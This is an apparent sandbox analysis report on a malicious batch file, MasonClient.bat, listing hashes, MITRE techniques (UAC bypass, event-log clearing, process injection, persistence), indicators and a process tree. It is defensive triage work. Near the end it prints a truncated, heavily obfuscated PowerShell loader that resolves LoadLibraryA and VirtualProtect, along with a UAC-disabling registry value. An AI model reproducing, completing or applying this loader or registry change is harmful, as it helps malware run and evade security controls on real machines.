37c1e24ac80c592d6cbe653ded5cf6e23d5407e9ab16b5803fee11de9d0e631f

Analysis

max time kernel
150s
max time network
97s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
21/04/2026, 19:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MasonClient.bat
Size 1KB
Sample260421-ycceesbt2j
SHA256 37c1e24ac80c592d6cbe653ded5cf6e23d5407e9ab16b5803fee11de9d0e631f
MD5 f3a078a143fa26df721365241662d3aa
SHA1 ed67560fb1285fd2ae9fec914e02d284c7bad1a0
SHA512 59be569712333cc936cf5b1f3a48f62b71d9bbf168a4c85b1bfd88485bf49d1aefbac81da8d5dffc7eeb12625ae4ae1081d7b706f5b805f3edbe2f89b7e9be0c
TLSH
T14711B81AC21C1E03E723C4A7CA2762CB1DCDD202002028F9EBE85FDE3414C786EE8474
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4068 created 632	4068	powershell.EXE	5

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\conSEntpRomPTBeHAViOradmin = "0"	powershell.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3292	powershell.exe
3	3292	powershell.exe
4	3292	powershell.exe
5	3968	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4068	powershell.EXE
3968	powershell.exe
3292	powershell.exe
3008	powershell.exe
780	powershell.exe
4948	powershell.exe
2664	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
3948	WKOUQ.Exe
3776	GzEudQab.exe
2760	SLyXD.EXe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4068 set thread context of 1504	4068	powershell.EXE	89

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WKOUQ.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SLyXD.EXe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 21 Apr 2026 19:39:39 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={5D72B851-AF7B-4408-92BD-2C1E6D4D7B17}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1776800378"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3292	powershell.exe
3292	powershell.exe
3008	powershell.exe
3008	powershell.exe
3948	WKOUQ.Exe
3948	WKOUQ.Exe
3948	WKOUQ.Exe
3948	WKOUQ.Exe
3776	GzEudQab.exe
3776	GzEudQab.exe
3776	GzEudQab.exe
3776	GzEudQab.exe
4068	powershell.EXE
4068	powershell.EXE
4068	powershell.EXE
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
780	powershell.exe
780	powershell.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe
780	powershell.exe
1504	dllhost.exe
1504	dllhost.exe
1504	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3136	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3292	powershell.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	3948	WKOUQ.Exe
Token: SeDebugPrivilege	3776	GzEudQab.exe
Token: SeDebugPrivilege	4068	powershell.EXE
Token: SeDebugPrivilege	4068	powershell.EXE
Token: SeDebugPrivilege	1504	dllhost.exe
Token: SeDebugPrivilege	780	powershell.exe
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	460	dwm.exe
Token: SeCreatePagefilePrivilege	460	dwm.exe
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE
Token: SeShutdownPrivilege	3136	Explorer.EXE
Token: SeCreatePagefilePrivilege	3136	Explorer.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3136	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 3292	4544	cmd.exe	81
PID 3292 wrote to memory of 3008	3292	powershell.exe	82
PID 3292 wrote to memory of 3948	3292	powershell.exe	84
PID 3948 wrote to memory of 3776	3948	WKOUQ.Exe	85
PID 3292 wrote to memory of 2760	3292	powershell.exe	86
PID 4068 wrote to memory of 1504	4068	powershell.EXE	89
PID 4068 wrote to memory of 1504	4068	powershell.EXE	89
PID 4068 wrote to memory of 1504	4068	powershell.EXE	89
PID 4068 wrote to memory of 1504	4068	powershell.EXE	89
PID 4068 wrote to memory of 1504	4068	powershell.EXE	89
PID 1504 wrote to memory of 632	1504	dllhost.exe	5
PID 1504 wrote to memory of 700	1504	dllhost.exe	7
PID 1504 wrote to memory of 892	1504	dllhost.exe	11
PID 1504 wrote to memory of 420	1504	dllhost.exe	13
PID 1504 wrote to memory of 460	1504	dllhost.exe	14
PID 1504 wrote to memory of 640	1504	dllhost.exe	15
PID 1504 wrote to memory of 1096	1504	dllhost.exe	16
PID 1504 wrote to memory of 1108	1504	dllhost.exe	17
PID 1504 wrote to memory of 1152	1504	dllhost.exe	18
PID 1504 wrote to memory of 1216	1504	dllhost.exe	20
PID 1504 wrote to memory of 1240	1504	dllhost.exe	21
PID 1504 wrote to memory of 1284	1504	dllhost.exe	22
PID 1504 wrote to memory of 1304	1504	dllhost.exe	23
PID 1504 wrote to memory of 1428	1504	dllhost.exe	24
PID 1504 wrote to memory of 1544	1504	dllhost.exe	25
PID 1504 wrote to memory of 1628	1504	dllhost.exe	26
PID 1504 wrote to memory of 1680	1504	dllhost.exe	27
PID 1504 wrote to memory of 1764	1504	dllhost.exe	28
PID 1504 wrote to memory of 1780	1504	dllhost.exe	29
PID 1504 wrote to memory of 1852	1504	dllhost.exe	30
PID 1504 wrote to memory of 1872	1504	dllhost.exe	31
PID 1504 wrote to memory of 1932	1504	dllhost.exe	32
PID 1504 wrote to memory of 2000	1504	dllhost.exe	33
PID 1504 wrote to memory of 2020	1504	dllhost.exe	34
PID 1504 wrote to memory of 1340	1504	dllhost.exe	35
PID 1504 wrote to memory of 1568	1504	dllhost.exe	36
PID 1504 wrote to memory of 2120	1504	dllhost.exe	37
PID 1504 wrote to memory of 2136	1504	dllhost.exe	38
PID 1504 wrote to memory of 2256	1504	dllhost.exe	39
PID 1504 wrote to memory of 2316	1504	dllhost.exe	41
PID 1504 wrote to memory of 2548	1504	dllhost.exe	42
PID 1504 wrote to memory of 2560	1504	dllhost.exe	43
PID 1504 wrote to memory of 2608	1504	dllhost.exe	44
PID 1504 wrote to memory of 2620	1504	dllhost.exe	45
PID 1504 wrote to memory of 2640	1504	dllhost.exe	46
PID 1504 wrote to memory of 2656	1504	dllhost.exe	47
PID 1504 wrote to memory of 2668	1504	dllhost.exe	48
PID 1504 wrote to memory of 2856	1504	dllhost.exe	49
PID 1504 wrote to memory of 2132	1504	dllhost.exe	51
PID 1504 wrote to memory of 2452	1504	dllhost.exe	52
PID 1504 wrote to memory of 3136	1504	dllhost.exe	53
PID 1504 wrote to memory of 3260	1504	dllhost.exe	54
PID 1504 wrote to memory of 3316	1504	dllhost.exe	55
PID 1504 wrote to memory of 3604	1504	dllhost.exe	58
PID 1504 wrote to memory of 3672	1504	dllhost.exe	59
PID 1504 wrote to memory of 3760	1504	dllhost.exe	60
PID 1504 wrote to memory of 3800	1504	dllhost.exe	61
PID 1504 wrote to memory of 3852	1504	dllhost.exe	62
PID 1504 wrote to memory of 4180	1504	dllhost.exe	63
PID 1504 wrote to memory of 2052	1504	dllhost.exe	67
PID 1504 wrote to memory of 4284	1504	dllhost.exe	68
PID 1504 wrote to memory of 4788	1504	dllhost.exe	70
PID 1504 wrote to memory of 4476	1504	dllhost.exe	71
PID 1504 wrote to memory of 4548	1504	dllhost.exe	72

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:460
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1a294e43-4467-4053-bfca-bb8fa24d773a}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1504

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:700

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3571f405-d45f-4f27-917f-dcb0cb5ccfdd -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-38a8691a-e7af-4600-a777-84fa05c75642 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-aa0b4614-de50-4899-9f8e-6fcbdd54aaef -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f5241105-b52f-4576-b841-f2560782622d -LifetimeId:d1eed267-8015-4364-a3a7-442ef7fe50ed -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:pxLbperYkCqd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IFBifzlYVZKCzY,[Parameter(Position=1)][Type]$QrWqSUgDSD)$yCfFgxiiOrJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+'D'+[Char](101)+''+'l'+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+'M'+[Char](101)+''+'m'+''+[Char](111)+'ryM'+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+'l'+'eg'+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+'S'+'e'+''+'a'+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+'s'+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'la'+'s'+''+'s'+'',[MulticastDelegate]);$yCfFgxiiOrJ.DefineConstructor('R'+'T'+''+'S'+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+','+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+'S'+'i'+'g,P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$IFBifzlYVZKCzY).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+'d');$yCfFgxiiOrJ.DefineMethod('In'+[Char](118)+''+[Char](111)+'k'+'e'+'',''+[Char](80)+'ubl'+'i'+'c,'+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+'lo'+'t'+''+[Char](44)+''+'V'+''+'i'+'r'+'t'+''+[Char](117)+'a'+[Char](108)+'',$QrWqSUgDSD,$IFBifzlYVZKCzY).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+'m'+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $yCfFgxiiOrJ.CreateType();}$YFTlGQRSeMDHE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+'in3'+'2'+''+'.'+'Un'+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+'Na'+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+'h'+''+'o'+''+[Char](100)+''+'s'+'');$MFLpWkTRnSCBdb=$YFTlGQRSeMDHE.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'P'+''+[Char](114)+''+'o'+''+'c'+'A'+[Char](100)+''+[Char](100)+''+'r'+''+'e'+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+'t'+''+'a'+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wfUxeGZskgajgCycFdT=pxLbperYkCqd @([String])([IntPtr]);$fbJjdboDpAbFFttQCIFHZw=pxLbperYkCqd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fvlEUrioqaj=$YFTlGQRSeMDHE.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+''+[Char](101)+'l'+'3'+'2'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$BTSJeyVNjiwmCm=$MFLpWkTRnSCBdb.Invoke($Null,@([Object]$fvlEUrioqaj,[Object](''+[Char](76)+''+'o'+'a'+[Char](100)+''+[Char](76)+'ib'+[Char](114)+'a'+[Char](114)+'y'+[Char](65)+'')));$dWJRlPJdYyCOMyNOr=$MFLpWkTRnSCBdb.Invoke($Null,@([Object]$fvlEUrioqaj,[Object]('V'+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+'o'+[Char](116)+''+[Char](101)+''+'c'+'t')));$DbuCsqU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BTSJeyVNjiwmCm,